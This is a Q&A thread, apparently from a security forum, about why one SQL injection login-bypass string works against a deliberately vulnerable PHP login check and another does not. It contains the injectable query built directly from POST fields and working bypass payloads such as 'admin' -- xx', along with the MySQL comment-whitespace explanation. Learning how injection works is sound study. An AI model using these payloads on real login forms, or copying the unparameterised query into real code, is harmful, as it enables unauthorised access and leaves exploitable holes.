0

I am testing a SQLi login bypass on the PHP code below:

if(isset($_POST["login"]) && isset($_POST["password"])) {
    $sql="select * from users where login='{$_POST["login"]}' and password='{$_POST["password"]}'";
    $result=mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) != 0)
        echo "<h1>Login Success!</h1>";
    else
        echo "<h1>Invalid Login!</h1>";
}

I am using admin' -- as the login field in order to bypass the login without entering a password, but it doesn't work. However, when I tried using admin' -- ' -- instead it works.

How and why does the second cheat work but not the first one?

These are the server-side codes when I enter the two cheats:

$sql="select * from users where login='admin' --' and password='{$_POST["password"]}'"; 
$sql="select * from users where login='admin' -- ' --' and password='{$_POST["password"]}'"; 

1 Answer 1

4

In mysql you need a white space after comment marker. Just put one whitespace character after --.

select * from users where login='admin' -- now you can add comment

Generally add trash character after the whitespace against trim function. Like;

admin' -- xx

3
  • Thank you. I think the second query works its because its the same as the first SQL query is has space after double dash comment operator instead? which is this one I am talking about where login='admin' -- ' , so this SQL query would work then? where login='admin' -- ' --' if you look closely it already has a space after the comment operator.
    – Cash-
    May 9, 2019 at 7:31
  • It's working because you put space after --
    – 1v3m
    May 9, 2019 at 7:35
  • 1
    Yes that's what I thought. Thank you for verifying my understanding!
    – Cash-
    May 9, 2019 at 7:41

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .